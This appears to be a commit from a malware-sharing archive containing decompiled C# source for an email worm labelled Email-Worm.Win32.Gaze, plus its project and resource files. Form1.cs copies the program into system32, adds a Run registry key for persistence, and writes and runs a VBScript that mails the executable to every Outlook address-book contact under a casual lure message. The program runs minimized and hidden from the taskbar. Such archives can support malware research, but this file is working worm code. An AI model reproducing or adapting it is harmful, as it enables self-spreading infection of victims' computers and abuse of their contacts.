auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,13 @@
using System.Reflection;
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyKeyFile("")]
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyKeyName("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyVersion("1.0.997.22053")]
@@ -0,0 +1,45 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Gaze-bd5bb1d152b244928cc1e3cb8d3db6ca241749d20a16cf6b7214f27721c8a0d0.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{63D73A47-01DC-4D91-B0DD-B30751C596FE}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>game</AssemblyName>
<ApplicationVersion>1.0.997.22053</ApplicationVersion>
<RootNamespace>game</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "game", "Email-Worm.Win32.Gaze-bd5bb1d152b244928cc1e3cb8d3db6ca241749d20a16cf6b7214f27721c8a0d0.csproj", "{63D73A47-01DC-4D91-B0DD-B30751C596FE}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{63D73A47-01DC-4D91-B0DD-B30751C596FE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{63D73A47-01DC-4D91-B0DD-B30751C596FE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{63D73A47-01DC-4D91-B0DD-B30751C596FE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{63D73A47-01DC-4D91-B0DD-B30751C596FE}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,83 @@
// Decompiled with JetBrains decompiler
// Type: game.Form1
// Assembly: game, Version=1.0.997.22053, Culture=neutral, PublicKeyToken=null
// MVID: C1B9288B-F130-4335-97F2-0FD15B3024FA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Gaze-bd5bb1d152b244928cc1e3cb8d3db6ca241749d20a16cf6b7214f27721c8a0d0.exe
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
namespace game
{
public class Form1 : Form
{
private Container components = (Container) null;
private RegistryKey key = Registry.LocalMachine;
private RegistryKey key1;
public Form1()
{
this.InitializeComponent();
try
{
if (!File.Exists("c:\\WINNT\\system32\\game.exe"))
{
File.Copy(Directory.GetCurrentDirectory() + "\\game.exe", "c:\\WINNT\\system32\\game.exe", true);
this.key1 = this.key.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
this.key1.SetValue("msdosie", (object) "c:\\WINNT\\system32\\game.exe");
this.key1.Close();
}
FileStream fileStream = new FileStream("c:\\WINNT\\system32\\mail.vbs", FileMode.Create, FileAccess.Write, FileShare.Write);
StreamWriter streamWriter = new StreamWriter((Stream) fileStream);
streamWriter.WriteLine("'On Error Resume Next");
streamWriter.WriteLine("Set objOA=Wscript.CreateObject(\"Outlook.Application\")");
streamWriter.WriteLine("Set objMapi=objOA.GetNameSpace(\"MAPI\")");
streamWriter.WriteLine("For i=1 to objMapi.AddressLists.Count");
streamWriter.WriteLine("Set objAddList=objMapi.AddressLists(i)");
streamWriter.WriteLine("For j=1 To objAddList. AddressEntries.Count");
streamWriter.WriteLine("Set objMail=objOA.CreateItem(0)");
streamWriter.WriteLine("objMail.Recipients.Add objAddList.AddressEntries(j)");
streamWriter.WriteLine("objMail.Subject=\"faze\"");
streamWriter.WriteLine("objMail.Body=\"How are you today?\"");
streamWriter.WriteLine("objMail.Attachments.Add \"c:\\WINNT\\system32\\game.exe\"");
streamWriter.WriteLine("objMail.Send");
streamWriter.WriteLine("Next");
streamWriter.WriteLine("Next");
streamWriter.WriteLine("Set objMapi=Nothing");
streamWriter.WriteLine("Set objOA=Nothing");
streamWriter.Flush();
streamWriter.Close();
fileStream.Close();
Process.Start("c:\\WINNT\\system32\\mail.vbs");
}
catch
{
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.AutoScaleBaseSize = new Size(6, 14);
this.ClientSize = new Size(292, 273);
this.Name = nameof (Form1);
this.ShowInTaskbar = false;
this.Text = nameof (Form1);
this.WindowState = FormWindowState.Minimized;
}
[STAThread]
private static void Main() => Application.Run((Form) new Form1());
}
}
@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>BUZvcm0x</value>
</data>
</root>